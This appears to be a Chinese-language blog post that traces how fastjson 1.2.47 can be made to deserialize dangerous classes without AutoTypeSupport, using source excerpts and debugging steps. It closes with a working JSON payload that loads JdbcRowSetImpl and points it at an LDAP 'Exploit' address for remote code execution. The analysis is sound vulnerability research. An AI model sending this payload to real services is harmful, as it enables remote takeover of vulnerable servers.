fastjson 1.2.47 爆出了最为严重的漏洞,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。
一.原理
测试代码Test.java
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class Test {
public static void main(String[] args) {
String s2 = "{\"@type\":\"java.lang.Class\",\"val\":\"aaaaa\"}";
JSONObject o2 = JSON.parseObject(s2);
}
}
pom.xml
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>
根据fastjson的反序列过程,对于s2中的json数据会进行处理,关键处理函数位于/com/alibaba/fastjson/parser/ParserConfig.class中的checkAutoType(String typeName, Class<?> expectClass, int features)。函数,之前的版本是黑名单过滤(denylist),现在变成了hash值黑名单。主要是为了过滤
以 L 开头和 ; 结尾以 LL 开头和 ;; 结尾以 [ 开头
如下部分
![](https://img-blog.csdnimg.cn/572ae7767f5f41a8819eea0b4546f7c7.png)
这一部分主要是如果开启了autoTypeSupport,那么就先对比白名单,如果传的type这个类里包含白名单的类,就执行loadclass,没有的话就对比黑名单中的,如果在黑名单,就抛出异常。
进入 loadClass
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if(className == null || className.length() == 0){
return null;
}
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{// 如果 classLoader 非空,cache 为 true 则使用该类加载器加载并存入 mappings 中
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
// 如果失败,或没有指定 ClassLoader ,则使用当前线程的 contextClassLoader 来加载类,也需要 cache 为 true 才能写入 mappings 中
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
try{
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}
根据上边的代码说明,我们需要控制cache这个参数为true的时候才能实现将我们的恶意类加入到
mappings中。于是查找一下loadClass这个方法
![](https://img-blog.csdnimg.cn/33904869efc141e7a74c59b9597b09f2.png)
可以看到有三个函数,依此看一下,发现参数为2的loadClass(String className, ClassLoader classLoader)
![](https://img-blog.csdnimg.cn/514a5ba87d694089b357b246e44077df.png)
通过递归调用三个参数的loadClass,因为cache为true,那么我们写入className就可以被put到mappings中去
于是对loadClass 使用Find Usage
![](https://img-blog.csdnimg.cn/5b6508c24f214bfdb3a7af054496a3cd.png)
通过看左下角的调用关系可以发现在MiscCodec.deserialze()的方法使用,其中deserialze的定义public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName)
当clazz ==Class.class 的时候会调用这个方法,而clazz又是我们传入的type的参数,
![](https://img-blog.csdnimg.cn/82a9ef4d9be048dfad438d8ce8b46ef2.png)
所以我们应该传入一个能与Class.class相同的类,然后在加上一个恶意类的类名,从而将恶意类导入到mappings中然后使用,发现java.lang.Class这个类可以实现,于是就可以实现漏洞利用了。
测试代码
import java.io.IOException;
public class Test {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Class name = Class.forName("java.lang.Class");
if(name == Class.class){
System.out.println("equal");
}
}
}
二.代码调试
Test.java
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class Test {
public static void main(String[] args) {
String s2 = "{\"@type\":\"java.lang.Class\",\"val\":\"aaaaa\"}";
JSONObject o2 = JSON.parseObject(s2);
}
}
在parseObject处下断点开始调试
![](https://img-blog.csdnimg.cn/5148125a4db544409cd60dbeee8786f6.png)
首先进入parseObject,根据fastjson的实现方法可以了解,parseObject是在parse的基础上多了个toJson的方法,然后继续跟进parse
![](https://img-blog.csdnimg.cn/4649998c273f4893aa03a99c7eb00375.png)
![](https://img-blog.csdnimg.cn/c543a0e1b6274e80b7fec3b298732e15.png)
在DefaultJSONParser中发现会给checkAutoType进行赋值,并进入checkAutoType这个方法
![](https://img-blog.csdnimg.cn/a646a6db29e14c48a18bffa24891a0be.png)
然后来到checkAutoType,继续跟进
![](https://img-blog.csdnimg.cn/5c45a9dadac64140b23e49a96644cc8a.png)
来到给clazz进行赋值,其中在TypeUtils.getClassFromMapping中没有找到java.lang.Class,但继续跟进发现在deserializers中发现存在java.lang.Class
![](https://img-blog.csdnimg.cn/e6345f0936a942f69cd20c032687c8cc.png)
于是进入findClass方法中
![](https://img-blog.csdnimg.cn/edd9b683fd4d411ebd1639bfbb42d132.png)
然后返回clazz
![](https://img-blog.csdnimg.cn/a43125bdc9d8465baeca214ac2eda4a3.png)
然后在DefaultJSONParser继续跟进,其中设置 resolveStatus 为 TypeNameRedirect。
![](https://img-blog.csdnimg.cn/d8e8c469cef54134ae255daf6394a459.png)
获取到java.lang.class对应的反序列化处理类com.alibaba.fastjson.serializer.MiscCodec,然后进入deserializer.deserialze(this, clazz, fieldName)
![](https://img-blog.csdnimg.cn/6e3afd74e3ec43a09d9774f53b12160f.png)
来到deserialze
![](https://img-blog.csdnimg.cn/1859fac754e64a1b9b90286fefcd36a3.png)
继续向下走,首先到这可以知道objVal为aaaaa
![](https://img-blog.csdnimg.cn/6f98d27617344bd99e6106d012df2ca8.png)
到这将objVal赋值给strVal
![](https://img-blog.csdnimg.cn/11113cd4e60e460e9c52c821b4c61bce.png)
![](https://img-blog.csdnimg.cn/cbdddc8d6aaa4c09960f0adb6ce31200.png)
![](https://img-blog.csdnimg.cn/dfd3eaa2a4d9472c8214ddf57b0541c2.png)
因为clazz为java.lang.Class,满足这个判断,于是进入loadClass这个方法,其中strVal的值为aaaaa
![](https://img-blog.csdnimg.cn/a83b7b507f6e49eeb4a904e8b23937b0.png)
于是到这即两个参数的loadClass递归调用三个参数的loadClass
![](https://img-blog.csdnimg.cn/5239474fde024404a9e1d3e0e484fab8.png)
然后继续跟进,到下面的部分的时候,因为cache为true,于是执行mappings.put(),将aaaaa存到mapping中
![](https://img-blog.csdnimg.cn/80000bd2abfb42cc966da607c139f7ae.png)
TypeUtils中的mappings,原本存在许多写好的值
![](https://img-blog.csdnimg.cn/80807283679249d7ab3f7b723dbce9b5.png)
通过这种方法我们就将我们可以利用的恶意类写入到了mapping中,然后就可以使用了
构造payload:先写入com.sun.rowset.JdbcRowSetImpl,然后在利用ldap或者rmi远程执行。
payload:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}
---------------------------------------------------------------------------------------------------------------------------------
参考su18师傅(
fastjson:我一路向北,离开有你的季节 | 素十八)
y4er师傅(
Fastjson 反序列化RCE分析 - Y4er的博客)
ldap,rmi利用可参考thonsun师傅(
JavaSec rmi利用分析 | thonsun's blog ,
JavaSec jndi注入利用分析 | thonsun's blog)
一些基础知识如反射以及构造gadget参考panda师傅(
JDK7u21反序列化漏洞分析笔记 - 技术文章 - 90Sec)